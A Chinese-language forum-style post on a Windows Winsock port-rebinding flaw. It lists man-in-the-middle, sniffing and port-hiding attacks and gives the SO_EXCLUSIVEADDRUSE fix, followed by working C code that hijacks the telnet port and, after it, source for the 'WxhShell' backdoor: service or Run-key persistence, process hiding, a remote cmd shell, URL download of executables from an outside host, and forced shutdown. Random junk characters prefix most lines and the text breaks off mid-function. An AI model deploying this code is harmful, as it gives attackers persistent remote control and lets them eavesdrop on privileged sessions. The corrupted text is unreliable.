在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ju|]Qlek s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p3c"ZPO~z %r%So_^ saddr.sin_family = AF_INET;
i|]7(z#OyI R(k}y,eh.` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
PWH^=K =E(#YCx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}aF jk*tL8?i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w{!(r BcQEG *N 这意味着什么?意味着可以进行如下的攻击:
E{4 e<%Y, i?>tgmu. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0:"2MSf> mdW~~-@H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F";.6%;AC %MZP)k,&U 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`
#OSl .2W"w)$nuq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mT@nn, d "E^SBO& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0*8TS7.3 4zjs!AK% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5G[x }4U LY 0]l$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y9Z]i$qS&k Z^yNLF *&V #include
qnChM;) #include
nirDMw[ #include
1vnYogL #include
fE]XWA4U DWORD WINAPI ClientThread(LPVOID lpParam);
Zd!U')5/ int main()
=Mj0:rW {
=dZHYO^Cv WORD wVersionRequested;
***a2Z/( DWORD ret;
uo2'"@[e WSADATA wsaData;
"l7NWqfB BOOL val;
aS84n.?vq SOCKADDR_IN saddr;
xb:&(6\F SOCKADDR_IN scaddr;
}^xE|~p int err;
u5B:^.:p SOCKET s;
dtZE67KS SOCKET sc;
OGOND,/R?/ int caddsize;
d$t40+v HANDLE mt;
DY\J[l<< DWORD tid;
(UL4+ta wVersionRequested = MAKEWORD( 2, 2 );
t~``md4 err = WSAStartup( wVersionRequested, &wsaData );
DF_X if ( err != 0 ) {
lk3=4|?zsE printf("error!WSAStartup failed!\n");
3B0PGvCI1 return -1;
cA)[XpQ:+W }
=>iA gp'# saddr.sin_family = AF_INET;
W/fuKGZi_ y7/F_{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EON:B>2a 7fHc[, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-0Cnp/Yj@ saddr.sin_port = htons(23);
nXy>7H[0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q >Qibr {
g%nl!dgS printf("error!socket failed!\n");
h6~$/`&]b return -1;
_n;;][]S }
OsqNB'X val = TRUE;
]QVNn?PA8 //SO_REUSEADDR选项就是可以实现端口重绑定的
&V7M}@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pO7Zs {
iK5_u2]Q printf("error!setsockopt failed!\n");
9QQyl\ return -1;
b2,!g }I }
g[H',)A) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
bD^b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;G\8jP'
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zZ=pP5y8 #P<N^[m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
99xEm {
-fS.9+k0/ ret=GetLastError();
EV pi^>M printf("error!bind failed!\n");
zK|i='XSf return -1;
c(#;_Ve2P }
MUnEuhXTr listen(s,2);
4_A0rveP while(1)
A@hppaP! {
I,yC
D7l_ caddsize = sizeof(scaddr);
]\ !5}L //接受连接请求
3 ZEB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p]T<HGJ P if(sc!=INVALID_SOCKET)
+N`ua {
9h&R]yz; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
9KWuN:Sg if(mt==NULL)
~6YMD {
UT0){%2@ printf("Thread Creat Failed!\n");
[NMVoBvG break;
a.N{-2ptH }
FMA6_fju4 }
7x);x/#8Z CloseHandle(mt);
kF(n!2"W }
JjaoOe closesocket(s);
i4Lc$20?d WSACleanup();
]^'@[< return 0;
[e[<p\] }
?POUtRN DWORD WINAPI ClientThread(LPVOID lpParam)
$odso;Hn {
`F<jLU^3 SOCKET ss = (SOCKET)lpParam;
G uz"wY SOCKET sc;
h2ytS^ unsigned char buf[4096];
7frTTSZ SOCKADDR_IN saddr;
Q></`QWpoB long num;
L:XC DWORD val;
wO?{?+I`q DWORD ret;
"&/-N[is //如果是隐藏端口应用的话,可以在此处加一些判断
)nL`H^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
svxw^0~a saddr.sin_family = AF_INET;
Mmpfto%i saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_XCOSomL` saddr.sin_port = htons(23);
I:K"'R^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PB;eHy {
hGpv2>M printf("error!socket failed!\n");
y;_% W return -1;
cufH?Xg< }
UMAgA!s val = 100;
dXF^(y]l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p
w8 s8? {
,) J~ ,^f6 ret = GetLastError();
9IX/wm" return -1;
lXcx@#~ }
3EJt%}V$k if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:VTTh
|E%# {
0lhVqy}:}o ret = GetLastError();
+$g}4 return -1;
qkiI/nH3 }
BD(Z5+EU1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
H\TI[JPAl {
/!c${W!sY printf("error!socket connect failed!\n");
(Jz1vEEV closesocket(sc);
Na:w]r:y closesocket(ss);
oYukLr return -1;
T}8Y6N<\m }
l1f\=G?tmU while(1)
6I%5Q4Ll {
Hv2De0W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ZMel{w`n //如果是嗅探内容的话,可以再此处进行内容分析和记录
BocSwf;v. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZpnxecJUJ num = recv(ss,buf,4096,0);
2nR[Xh?L if(num>0)
V,cBk send(sc,buf,num,0);
e
J6$-r else if(num==0)
"'t0h{Wr8 break;
p>4-s, W num = recv(sc,buf,4096,0);
dw*_(ys if(num>0)
XCBL}pNkR send(ss,buf,num,0);
, GP?amh else if(num==0)
O6LS(5j2 break;
"hsb8- }
<i&_ooX closesocket(ss);
]"?)Z closesocket(sc);
sVOyT*GY return 0 ;
|aVn&qK }
|&zz,+ E ee^{hQi i%0ur}p ==========================================================
:51/29} V6@o]* 下边附上一个代码,,WXhSHELL
K1M%!JKh)x vkri+:S3 ==========================================================
,^\2P$rT Jcrw#l8|C #include "stdafx.h"
C$XU%5qi PamO8^!G #include <stdio.h>
rR(X9i #include <string.h>
% ~H=sjg #include <windows.h>
<nT
+$ #include <winsock2.h>
R8a3
1& #include <winsvc.h>
~v|>xqWV #include <urlmon.h>
oYm[V<nIl }E50>g #pragma comment (lib, "Ws2_32.lib")
hYG6 pTCb #pragma comment (lib, "urlmon.lib")
:%,:" ?iWi #define MAX_USER 100 // 最大客户端连接数
%z,mB$LY #define BUF_SOCK 200 // sock buffer
3
:<WY&9 #define KEY_BUFF 255 // 输入 buffer
fof TP1 d,B:kE0Y #define REBOOT 0 // 重启
sN9&,&W1 #define SHUTDOWN 1 // 关机
BHU6t<G
KUlp"{a`,K #define DEF_PORT 5000 // 监听端口
3sy (vC Lh!J > #define REG_LEN 16 // 注册表键长度
YUtC.TR1 #define SVC_LEN 80 // NT服务名长度
RC7]'4o -"'j7t: // 从dll定义API
F%@aB<Nu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I
8`VNA&b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[\v}Ul typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s %j_H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-g*4(w 1mOh{:1u // wxhshell配置信息
eg;~zv struct WSCFG {
Z`ID+ int ws_port; // 监听端口
YIQ
4t char ws_passstr[REG_LEN]; // 口令
!Prg_6
` int ws_autoins; // 安装标记, 1=yes 0=no
v$?+MNks char ws_regname[REG_LEN]; // 注册表键名
Nfrw0b char ws_svcname[REG_LEN]; // 服务名
1WxK#c-) char ws_svcdisp[SVC_LEN]; // 服务显示名
$P/~rZ@M@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
^
*k?pJ5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6xTuNE1 int ws_downexe; // 下载执行标记, 1=yes 0=no
MyJ%`@+1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ib#KpEk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=Y|VgV 96( v };
`{3<{wgw ;g+N&)n // default Wxhshell configuration
lb4Pcdj struct WSCFG wscfg={DEF_PORT,
S&Zm0Ku "xuhuanlingzhe",
I_}SB| 1,
J\twZ>w~0 "Wxhshell",
,8U&?8l "Wxhshell",
zy/@
WFPE "WxhShell Service",
#rMlI3; "Wrsky Windows CmdShell Service",
*2pt%eav "Please Input Your Password: ",
iVhJ t#_b 1,
2=,lcWr "
http://www.wrsky.com/wxhshell.exe",
4gI/!,J(b "Wxhshell.exe"
YxYH2*q@ };
^a0um/+M} k]F[>26k // 消息定义模块
Xv ]W(f1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ak$f"py
x char *msg_ws_prompt="\n\r? for help\n\r#>";
5d Eh7XL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'f!8DGix char *msg_ws_ext="\n\rExit.";
V,lOt4b char *msg_ws_end="\n\rQuit.";
eenH0Ovv char *msg_ws_boot="\n\rReboot...";
W <9T0sZ char *msg_ws_poff="\n\rShutdown...";
aL+
o / char *msg_ws_down="\n\rSave to ";
T0wW<_jh HJ=:8: char *msg_ws_err="\n\rErr!";
!![DJ char *msg_ws_ok="\n\rOK!";
X9v.1s, > kGGR char ExeFile[MAX_PATH];
T"{>t int nUser = 0;
S'Q@ScJ HANDLE handles[MAX_USER];
SD"FErJ int OsIsNt;
Yg]-wQrH M8kPj8}{ SERVICE_STATUS serviceStatus;
+nrbShV SERVICE_STATUS_HANDLE hServiceStatusHandle;
%a>&5V SE@LYeC}dE // 函数声明
&47i"% int Install(void);
/?uPEKr int Uninstall(void);
1F5XvQl int DownloadFile(char *sURL, SOCKET wsh);
cM(:xv int Boot(int flag);
OcR$zlgs[v void HideProc(void);
'nzg6^I7g int GetOsVer(void);
x[FJgI'r int Wxhshell(SOCKET wsl);
~Z\8UsVN void TalkWithClient(void *cs);
c,np2myd int CmdShell(SOCKET sock);
u@Ih GME int StartFromService(void);
\pa"%c) int StartWxhshell(LPSTR lpCmdLine);
BRw .]&/ yZ0-wI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
g!g#]9j VOID WINAPI NTServiceHandler( DWORD fdwControl );
jD$,.AVvz |^&b8 // 数据结构和表定义
?&8^&brwG SERVICE_TABLE_ENTRY DispatchTable[] =
{f Py=,>Nb {
($q-_m {wscfg.ws_svcname, NTServiceMain},
"Gsc;X'id {NULL, NULL}
*>Ns_su7W };
i?p$H0bn |kyX3~ // 自我安装
~8q)^vm>f? int Install(void)
Z^bQ^zk- {
9P1OP Xv*p char svExeFile[MAX_PATH];
(!ux+K HKEY key;
)tC5Hijq, strcpy(svExeFile,ExeFile);
8}I$'x ~Otq %MQ // 如果是win9x系统,修改注册表设为自启动
#{\J
Nb+w% if(!OsIsNt) {
g;H=6JeG/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q$0*b]=E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x>**;#7) RegCloseKey(key);
r<9Iof4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[`ebM,W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)X1{ RegCloseKey(key);
Xpr?Kgz return 0;
\T4v|Pw\ }
\o z#l'z }
ui<N[ }
rJ`!: f else {
=2`[& .<->C?# // 如果是NT以上系统,安装为系统服务
y*4=c_Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0\X\izQ5 if (schSCManager!=0)
)1]ZtU {
..IfP@ SC_HANDLE schService = CreateService
ahJ`T*)HY (
1$xNUsD2 schSCManager,
${<%" hR$ wscfg.ws_svcname,
{kA0z2Fe wscfg.ws_svcdisp,
;@mS^ik")$ SERVICE_ALL_ACCESS,
/MIe(,>Uh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
QJZK|* SERVICE_AUTO_START,
|tKsgj SERVICE_ERROR_NORMAL,
Xe3U`P7( svExeFile,
_'#n6^Us< NULL,
G4Q[Th NULL,
&agWaf1%a NULL,
Uf1!qP/H? NULL,
zykT*V NULL
K%,2=. );
zG }@0 if (schService!=0)
^ sOQi6pL {
0.\/\V:H6 CloseServiceHandle(schService);
e2AX0( CloseServiceHandle(schSCManager);
#Vnkvvv strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6]&OrS[ strcat(svExeFile,wscfg.ws_svcname);
&u]8IEv}u if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S4Pxc
]! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Q0)#8Rcm RegCloseKey(key);
9"N~yKa`"K return 0;
XD!W: uvb }
7!$Q;A }
kI,yU}<Fq CloseServiceHandle(schSCManager);
o8 IL$: }
t=BUN }
0%32=k7O[ /,BD#| return 1;
zUt'QH7E. }
EB0TTJR?# AgWa{.`f: // 自我卸载
1NbG>E#Ol int Uninstall(void)
R6 y#S&]x {
u]g%@3Pn HKEY key;
)1Y{Q Y}l X@ --m6- if(!OsIsNt) {
>,v`EIg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EH-sZAv RegDeleteValue(key,wscfg.ws_regname);
]l;o}+`G RegCloseKey(key);
m~w[~flgZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A9[ F RegDeleteValue(key,wscfg.ws_regname);
R#s)r RegCloseKey(key);
E7WK
( return 0;
>Ifr [ }
DMAIM|h }
To\QjP- }
59 h]UX= else {
Ozw.siD k
9_`(nx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pD8+ 4;A if (schSCManager!=0)
bYcV$KJk {
R]JT&p|w.1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Z< 1 if (schService!=0)
}V'}E\\ {
##q2mm:a9P if(DeleteService(schService)!=0) {
L s
G\OG CloseServiceHandle(schService);
ww)<E`eGi CloseServiceHandle(schSCManager);
'Y?"{HZ return 0;
~b(i&DVK }
3(``#7 CloseServiceHandle(schService);
fIM,lt }
XP`Nf)3{Yd CloseServiceHandle(schSCManager);
Qu"8(Jk/ }
_;W.q7b] }
a y4 % .L+6 $8m return 1;
nI[os }
M
"ui0
ac hz{`h // 从指定url下载文件
BfXgh'Z~ int DownloadFile(char *sURL, SOCKET wsh)
K>
%Tq {
[m->5H HRESULT hr;
SDL7<ZaE char seps[]= "/";
Dxtp2wu%t char *token;
I.I`6(Cb char *file;
IWk4&yHUAu char myURL[MAX_PATH];
Lk|hQ
char myFILE[MAX_PATH];
!zBhbmlKt \h+AXs<j strcpy(myURL,sURL);
=WyDp97@+ token=strtok(myURL,seps);
+|*IZ:w) while(token!=NULL)
<:_wbVn- {
0`Kj25 file=token;
)z>|4@, token=strtok(NULL,seps);
Qo>b*Ku; }
zlyS}x@p Fzm*Pz3 GetCurrentDirectory(MAX_PATH,myFILE);
FOb0uj=(v strcat(myFILE, "\\");
c7 ?_46J strcat(myFILE, file);
+u.1 ;qF send(wsh,myFILE,strlen(myFILE),0);
\c,ap49RC send(wsh,"...",3,0);
SfA\}@3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
CMe
06^U if(hr==S_OK)
qjwxhabc return 0;
P)"noG_'i else
I) rCd/ return 1;
Id*Ce2B rUTcpGH }
XFg9P}" M\vwI" // 系统电源模块
MvuQz7M#d int Boot(int flag)
w}L]X1#sF {
60P<4 HANDLE hToken;
zofa-7'Bn TOKEN_PRIVILEGES tkp;
w2Us!<x EJj.1/]|r if(OsIsNt) {
!1rlN8w(qr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f0A{W/0n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R$v[!A+:' tkp.PrivilegeCount = 1;
Q}`0W[a
~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
S
O4u9V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j_/>A=OD if(flag==REBOOT) {
()2I# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%}[i'rT> return 0;
RW|`nL }
C7XxFh else {
H
>j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+j#+8Ze return 0;
c7<wZ }
u$h
4lIl }
QaS1Dh else {
x%s-+& if(flag==REBOOT) {
O $LfuL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rr+|Zt
Y return 0;
V n7*JS }
NYt&@Z}] else {
.@2m07*1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%!]@J[*1 return 0;
wHzEMwY_ }
!-ok"k0,u }
6rh5h: W~6EEyD% return 1;
A]<y:^2])C }
!4]TXH0f O80<Z#%j` // win9x进程隐藏模块
^b/ Z)3 void HideProc(void)
YO#M/%^j {
56}U8X NYyh|X:m HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
gRrL[z if ( hKernel != NULL )
|^0XYBxQ {
H]P.
x!I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J
cPtwa;q@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
pSoiH<33 FreeLibrary(hKernel);
+GG9^:<yr }
;>#wU' Y}x>t* I return;
4^:\0UF }
4Z1ST; vY4\59]P // 获取操作系统版本
R_(tjkT int GetOsVer(void)
hwu]Er.gn {
2K<
8 OSVERSIONINFO winfo;
}d&_q7L@@6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
VE#Wb7 GetVersionEx(&winfo);
fg
s!v7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5"^en# ?9 return 1;
:imW\@u else
?Q sQnQ return 0;
'GB.UKlR }
YbR!+ 0\g +lm{Olm'^ // 客户端句柄模块
4F)-"ck int Wxhshell(SOCKET wsl)
.)RzT9sg {
vo`2\R. SOCKET wsh;
%Da8{%{`Pc struct sockaddr_in client;
Mx&&0#;r DWORD myID;
t'VV>;-RO= YHkn2]^#A while(nUser<MAX_USER)
n\QgOSr< {
|h- QP#]/ int nSize=sizeof(client);
0Z~p%C<LW wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.}^g!jm~h if(wsh==INVALID_SOCKET) return 1;
ao%NK<Lt &wie] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Uhe=h&e2k@ if(handles[nUser]==0)
JX-'
mV` closesocket(wsh);
R?68*}
`7 else
j!_;1++q nUser++;
H#NCi~M>3 }
%4ePc- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gMY1ts}Z X59:C3c return 0;
0":ib0= }
T29Dt YX=a#%vrl // 关闭 socket
kv3E4,<9 void CloseIt(SOCKET wsh)
3_txg>P" {
4~y(`\0?4 closesocket(wsh);
tro7Di2Q nUser--;
?h.wK ExitThread(0);
TX$r`~ }
JM=JH
51` GYJ80k| // 客户端请求句柄
~kShq% void TalkWithClient(void *cs)
cU;iUf {
(mgS"zPS |y&*MTfV4L SOCKET wsh=(SOCKET)cs;
Z8zmHc"IH char pwd[SVC_LEN];
]or>?{4g char cmd[KEY_BUFF];
e^d0zl{ char chr[1];
Ai:BEPKe int i,j;
{/"2Vk<H8 -j%,Oo while (nUser < MAX_USER) {
&f"-d 1>*#%R?W if(wscfg.ws_passstr) {
9XPo3; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~R_ztD+C( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lV`Q{bd+ //ZeroMemory(pwd,KEY_BUFF);
H(bs$C4F i=0;
F5?m6`g? while(i<SVC_LEN) {
p!>oo1& vtw6FX_B // 设置超时
=G]1LTI fd_set FdRead;
FB
_pw!z struct timeval TimeOut;
s}j{#xT FD_ZERO(&FdRead);
A9f)tqbc FD_SET(wsh,&FdRead);
uxW~uEh TimeOut.tv_sec=8;
Z9MdD>uwi TimeOut.tv_usec=0;
KB%"bqB| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r
YogW! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&0='r;*i 3|WWo1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!u_Y7i3^ pwd
=chr[0]; E5)b
if(chr[0]==0xd || chr[0]==0xa) { [pl'| B
pwd=0; PK;*u,V
break; [<-
} 7l'6gg
i++; <0H"|:W>I]
} ]DOX?qI
i
2Or'c`|
// 如果是非法用户,关闭 socket whpfJNz
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TT'[qfAI
} 8dZ0rPd?
3^R&:|,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x$IX5:E#e
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bLe<G
,8:(OB|a
while(1) { X *&[u7No
E_k$W5
ZeroMemory(cmd,KEY_BUFF); 'SCidN(n
P/c&@_b
// 自动支持客户端 telnet标准 K <pV
j=0; hCCiD9gz
while(j<KEY_BUFF) { }2(,K[?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X}tVmO?
cmd[j]=chr[0]; My<snmr2d
if(chr[0]==0xa || chr[0]==0xd) { yHs-h
cmd[j]=0; dQ_!)f&w1
break; O$IEn/%+
} F{EnOr`,m=
j++; TR<<+
} k%D+Y(WGz8
R($KSui
// 下载文件 jqv- D
if(strstr(cmd,"http://")) { dik:4;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4"{ooy^Q
if(DownloadFile(cmd,wsh)) Pdt6nzfr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^SxY IFL
else MP_'D+LS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _{r=.W+w
} @c<3b2
else { LUuZ9$t0J"
6xWe=QGE
switch(cmd[0]) { hJDi7P
:Qumb
// 帮助 >iD )eB
case '?': { pV20oSJNt
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T'4z=Z]w
break; zY,r9<I8_x
} )6+eNsxMlC
// 安装 _C(m<n
case 'i': { c}y [[EX
if(Install()) PIH*Rw*GKZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z0 o~+Ct$
else $4tWI O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |_`E1Y}}
break; R$[#+X!
} i|T)p_y(!a
// 卸载 r.#t63Rb
case 'r': { 5$wpL(:R(
if(Uninstall()) 3H|_mX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3~}uqaGt
else T{Sb^-H#X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /RHo1
break; /[Z,MG
} GG@md_
// 显示 wxhshell 所在路径 )=AHf?hn
case 'p': { b!sRk@LGZ
char svExeFile[MAX_PATH]; :lB=Lr)
strcpy(svExeFile,"\n\r"); 6
G3\=)
strcat(svExeFile,ExeFile); LM7$}#$R
send(wsh,svExeFile,strlen(svExeFile),0); `FYv3w2
break; XVKfl3'%
} 5]HS^II"
// 重启 tZ^Ou89:rG
case 'b': { qQ"Fv|]~>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NR -!VJQ
if(Boot(REBOOT)) y($%;l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%'Z<DmG+
else { gF[z fDm
closesocket(wsh); $:
]o]a
ExitThread(0); FI3)i>CnW
} 4$*%gL;f^
break; &4b&X0pU
} /%&2HDA)
// 关机 %n
hm
case 'd': { $)RNKMZC}A
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yto,>Utzg
if(Boot(SHUTDOWN)) -C<zF`jO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*oL+ef-C
else { l-ct?T_@
closesocket(wsh); _~*,m#uxJ
ExitThread(0); N5i+3&
} Dh5X/y
break; H63,bNS s
} \/1<E?Q
f
// 获取shell \hhmVt@@
case 's': { ]3g?hM6
CmdShell(wsh); 1RK=,Wx
closesocket(wsh); ?r?jl;A&
ExitThread(0); UN zlN
break; -5T=:2M
} :_t}QP"
// 退出 (cN}Epi(D
case 'x': { c05 %iv
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rk7QZVE
CloseIt(wsh); IRn2|
break; m< 3Ao^I+
} d1U\ft:gV
// 离开 yQ^($#Yk
case 'q': { !!Aj<*%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |7X:TfJ
closesocket(wsh); `;)\u
WSACleanup(); ik!..9aB
exit(1); "
t7M3i_
break; LxpuhvIO
} xA9:*>+>
} >lBD<;T
} (HSgEs1d
g_G6~-.9I
// 提示信息 e_V O3"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :PtF+{N>
} ppFe-wY
} tUgEeh6
YhY:~
return; ds&e|VSH;
} ]ut5S>,"
`&-Mi[1
// shell模块句柄 Ay
!G1;
int CmdShell(SOCKET sock) L3n_ 5|
{ 2AtLyN'.
STARTUPINFO si; (ZY@$''
ZeroMemory(&si,sizeof(si)); V^\8BVw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [-)r5Dsdq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i} N8(B(
PROCESS_INFORMATION ProcessInfo; HO[wTB|D]
char cmdline[]="cmd"; 1}tbH[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); om]4BRe
return 0; <0S,Q+&
} SF5@Vg
i:Zm*+Gi
// 自身启动模式 $2u 'N:o
int StartFromService(void) WdnIp!
{ JqMDqPIQ
typedef struct %zSuK8kxV
{ fwBRWr9
DWORD ExitStatus; .VkbYK
DWORD PebBaseAddress; Dgx8\~(E'
DWORD AffinityMask; me'd6!O9-
DWORD BasePriority; ;>AL`M+
ULONG UniqueProcessId; 6<' 21
